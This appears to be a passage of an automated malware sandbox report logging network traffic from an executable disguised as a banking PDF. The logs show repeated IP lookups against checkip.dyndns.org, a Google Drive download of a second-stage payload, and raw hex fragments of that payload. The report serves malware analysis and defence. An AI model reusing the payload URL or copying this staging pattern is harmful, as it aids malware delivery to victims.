                                                                                                          Dec 3, 2024 10:08:25.060040951 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:26.832870960 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:26 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 45bbfac200a0f687ab0139e2e6120da5
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          5192.168.2.549880193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:29.235251904 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:30.469878912 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:30 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: fe1a7927b2911da95f0bd527a61e32cf
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          6192.168.2.549890193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:32.709659100 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:33.899415016 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:33 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 6704d7a07a45d14c179d3452e82edd52
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          7192.168.2.549900193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:36.050265074 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:37.212111950 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:37 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 089a5b95788f13c113eeffb0ea7d1755
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          8192.168.2.549909193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:39.481106997 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:40.669373989 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:40 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: d560a3b31266a20a2f132b7a849cf3df
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          9192.168.2.549919193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:42.873558998 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:44.015513897 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:43 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 9dcd5593eb58a607adb4e882fd2d5486
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          10192.168.2.549927193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:46.196389914 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:47.381109953 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:47 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 62ab447a55bf8ef3051f50b5994658d2
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          11192.168.2.549938193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:49.702931881 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:51.071820974 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:50 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: fb3457bf9210f6c3c31cc0e32c5a6116
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          12192.168.2.549947193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:53.246826887 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:54.447940111 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:54 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 392c7ca042237adb73642dc1076f02e0
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          13192.168.2.549957193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:56.577637911 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:57.719907045 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:57 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 5f28e3e227ba37a778138f1b2bed667a
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          14192.168.2.549966193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:59.894996881 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:09:01.097229958 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:09:00 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 114636d7baed87f63d249c3dfc0621b5
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          0192.168.2.549785172.217.19.1744431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:07:54 UTC216OUTGET /uc?export=download&id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2 HTTP/1.1
                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                                                                          Host: drive.google.com
                                                                                                          Cache-Control: no-cache
                                                                                                          2024-12-03 09:07:54 UTC1920INHTTP/1.1 303 See Other
                                                                                                          Content-Type: application/binary
                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                          Pragma: no-cache
                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                          Date: Tue, 03 Dec 2024 09:07:54 GMT
                                                                                                          Location: https://drive.usercontent.google.com/download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download
                                                                                                          Strict-Transport-Security: max-age=31536000
                                                                                                          Content-Security-Policy: script-src 'nonce-ri5v2sCrGmbhNxm8pN5k2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                                                                          Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist
                                                                                                          Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                                                                          Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist
                                                                                                          Cross-Origin-Opener-Policy: same-origin
                                                                                                          Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                          Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                                                          Server: ESF
                                                                                                          Content-Length: 0
                                                                                                          X-XSS-Protection: 0
                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                          X-Content-Type-Options: nosniff
                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                          Connection: close


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          1192.168.2.549793142.250.181.334431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:07:57 UTC258OUTGET /download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download HTTP/1.1
                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                                                                          Cache-Control: no-cache
                                                                                                          Host: drive.usercontent.google.com
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:07:59 UTC4915INHTTP/1.1 200 OK
                                                                                                          Content-Type: application/octet-stream
                                                                                                          Content-Security-Policy: sandbox
                                                                                                          Content-Security-Policy: default-src 'none'
                                                                                                          Content-Security-Policy: frame-ancestors 'none'
                                                                                                          X-Content-Security-Policy: sandbox
                                                                                                          Cross-Origin-Opener-Policy: same-origin
                                                                                                          Cross-Origin-Embedder-Policy: require-corp
                                                                                                          Cross-Origin-Resource-Policy: same-site
                                                                                                          X-Content-Type-Options: nosniff
                                                                                                          Content-Disposition: attachment; filename="ODwGvSo194.bin"
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Credentials: false
                                                                                                          Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED]
                                                                                                          Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                                                                          Accept-Ranges: bytes
                                                                                                          Content-Length: 94272
                                                                                                          Last-Modified: Tue, 03 Dec 2024 06:43:44 GMT
                                                                                                          X-GUploader-UploadID: AFiumC44c1-Y3hQ6IwzQ8aaGNR4vXsdUmi7OSm2w2XYgYtowB7OVimv3NjJByO-Xij2I5cAhDupNf3_VUA
                                                                                                          Date: Tue, 03 Dec 2024 09:07:59 GMT
                                                                                                          Expires: Tue, 03 Dec 2024 09:07:59 GMT
                                                                                                          Cache-Control: private, max-age=0
                                                                                                          X-Goog-Hash: crc32c=ywv4yQ==
                                                                                                          Server: UploadServer
                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                          Connection: close
                                                                                                          2024-12-03 09:07:59 UTC4915INData Raw: 1d 4f e8 3c d9 fc 60 40 45 97 f7 40 73 93 2e 88 fa 73 4f db 4d f3 88 a2 ab a5 9a 16 28 97 19 e7 e8 f6 6e b6 96 2b b4 67 68 0b 68 22 16 10 f1 65 52 38 75 33 4a 65 6f d8 6a 15 55 7c 60 ce 4c 6a 7a e1 23 c8 f1 c3 10 69 63 e4 fd 66 40 df 15 f4 ad 6c 33 e7 f8 a2 b9 6d 42 5a 87 b5 42 b2 c3 18 ef c4 c9 0a 1f b3 1d fc d0 3a 48 a3 48 39 89 2b 3b 6e 41 4f 65 27 83 c0 c0 0c 23 6b db e3 2c a0 8b c3 16 83 57 ba 02 6d 9c d0 fb ad aa 45 db b0 6e 1a 8e 43 95 65 af 9f 81 e2 3d cb ca 0c dd 78 b1 0e d7 aa 61 0c 78 9c 4c 56 f4 b8 e4 8b cb 95 33 c0 76 ae 15 f4 87 8d 98 b3 62 c2 b2 61 fd 8b 57 2c 58 78 52 b7 4e da 7b df 05 a3 7c ef 0a 4d b8 21 b5 13 6d 4c 8e fb f0 52 55 7c cc 90 3b 86 a4 56 b5 e3 d0 1c 61 66 d7 20 7a 78 44 65 ff ea de 55 3b 9d 74 cf ac db c8 77 9c 42 8c 06 36
                                                                                                          Data Ascii: O<`@E@s.sOM(n+ghh"eR8u3JeojU|`Ljz#icf@l3mBZB:HH9+;nAOe'#k,WmEnCe=xaxLV3vbaW,XxRN{|M!mLRU|;Vaf zxDeU;twB6
                                                                                                          2024-12-03 09:07:59 UTC4872INData Raw: 67 6b 26 b3 08 07 66 f5 c2 7a c7 50 1a 2f 43 d8 98 46 86 ed b0 ab f9 49 7e 11 ec a4 53 a8 92 da f6 6a ba 68 13 04 11 2c fe dc eb c0 18 9e 8c 70 51 5d 6e 60 a9 3a 5e 8a 9b 9e a7 c6 1c 26 16 88 ae 87 48 fc c2 9a 16 16 4b cf eb 3b c4 98 21 75 b7 f2 61 45 ca 5b 51 8f f6 3c d4 a9 4d 7d 91 3a 97 34 3d a7 e1 d8 be ba 33 c2 76 8c a2 12 f8 9d 6d a0 24 a3 9c 15 16 7f 15 fe fd d1 63 f4 9c fb 08 aa 88 b0 b9 fa 50 7f d2 71 b6 2c a7 2a 72 bb a0 e1 e9 85 91 11 fb 2d 66 94 4e 7c d2 8c aa aa 67 bc d6 bf 12 56 9d 6e 29 10 66 2d 20 72 ab fa 6e ef 7f ec 7a 4c 1d 29 be a2 99 20 08 03 86 6b 41 6c 58 1b 9d 65 b9 92 28 ae ff 37 ab 16 91 77 45 5d d6 1d 99 5e 77 96 be d5 78 f8 c5 99 46 87 a7 a5 94 ce 4a e1 40 4c 17 3c d5 a8 ae d6 46 93 e3 6f f2 38 ea b5 8e de df 9f d3 97 75 16 51
                                                                                                          Data Ascii: gk&fzP/CFI~Sjh,pQ]n`:^&HK;!uaE[Q<M}:4=3vm$cPq,*r-fN|gVn)f- rnzL) kAlXe(7wE]^wxFJ@L<Fo8uQ
                                                                                                          2024-12-03 09:07:59 UTC1318INData Raw: 3a d6 42 b1 22 68 e3 34 85 22 8b 50 bc f3 99 f8 e3 12 53 f3 de cd f1 80 c2 53 22 20 4f 39 7b 76 3a 30 e1 b1 d7 9a 53 0f a8 8a 3d be 59 a8 20 7f 67 0b 19 be fe e6 db 13 cf 2d 56 f4 2d 4b c7 a5 e0 a9 b4 11 01 41 40 ae 01 b6 59 e2 1d 7f 64 5f b2 2c ff c7 42 f6 1e ca d7 5e 2a 7a 9e 3c 78 1c c3 8f 21 42 4f 82 94 ee 8d 92 f8 cd b0 56 c8 24 c4 50 4a c1 d0 1d 21 2d 58 d0 54 2b d8 32 ab c7 05 8a 01 28 82 22 97 f2 a1 e4 08 ff 10 b5 ee 65 b1 d7 7d 72 4d 35 23 c5 63 0d 32 17 a5 80 b7 3e ba 21 e5 a4 37 4d d2 7f 54 a7 aa 9e b5 8d 03 7f b5 66 8e 7c a7 4e 10 67 a6 43 82 e2 e3 11 a0 63 e5 2f d6 9b 23 dd c2 a0 38 a1 78 d1 80 97 da 8c 63 6d 70 5c 7f 84 3f 90 b6 55 f7 98 9a f3 3a 91 54 68 16 f7 31 71 31 23 ab 86 95 fd 65 69 c6 13 35 06 9a 40 75 ee 08 fe 56 28 ff 64 eb a7 90
                                                                                                          Data Ascii: :B"h4"PSS" O9{v:0S=Y g-V-KA@Yd_,B^*z<x!BOV$PJ!-XT+2("e}rM5#c2>!7MTf|NgCc/#8xcmp\?U:Th1q1#ei5@uV(d
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: 98 b7 e8 97 e2 28 4d a2 dd 73 c7 ef f1 73 89 7d 2a 17 43 98 26 93 5b 10 1d 09 62 31 e5 f2 1c 9f 6a 99 5b 9a 9b 27 c8 ee 5b 76 a1 72 db 00 98 f0 8c 67 76 52 54 57 73 3e 90 bc 63 f2 89 8e de a9 31 66 7a 14 0d 59 43 31 23 b4 97 ad fd 65 67 ee 46 35 2d 9e 4b 77 c3 0a fc 54 00 77 64 f6 a1 e7 cb f1 69 5f 52 b3 c9 2d a4 d5 99 7a 54 84 a5 15 b3 ef c7 6d 17 83 0e 76 0c 40 73 45 1f 0f 0d 0b c9 e5 69 b8 00 27 ca f3 f6 f0 aa f7 35 c6 15 16 45 c9 f2 3a 13 51 63 fd cb e8 79 63 0a 60 32 c2 e3 49 7b b8 84 ac f8 7b dc 51 c7 9f 26 4f 8e 07 9f 36 70 a2 e9 3e 3a db 83 89 13 31 46 27 f9 45 74 8b 59 a6 b0 8e 6a 88 5e 4c 0a ad 2f f6 d2 1d 93 35 bb b1 60 a9 d8 5e ad 24 be e6 15 a2 23 8b 1c 0b 8c 16 1e 95 eb b3 94 4a c3 ba bc a7 82 2e 4f 33 cd 86 45 c6 21 1e 45 d3 af a2 20 46 b8
                                                                                                          Data Ascii: (Mss}*C&[b1j['[vrgvRTWs>c1fzYC1#egF5-KwTwdi_R-zTmv@sEi'5E:Qcyc`2I{{Q&O6p>:1F'EtYj^L/5`^$#J.O3E!E F
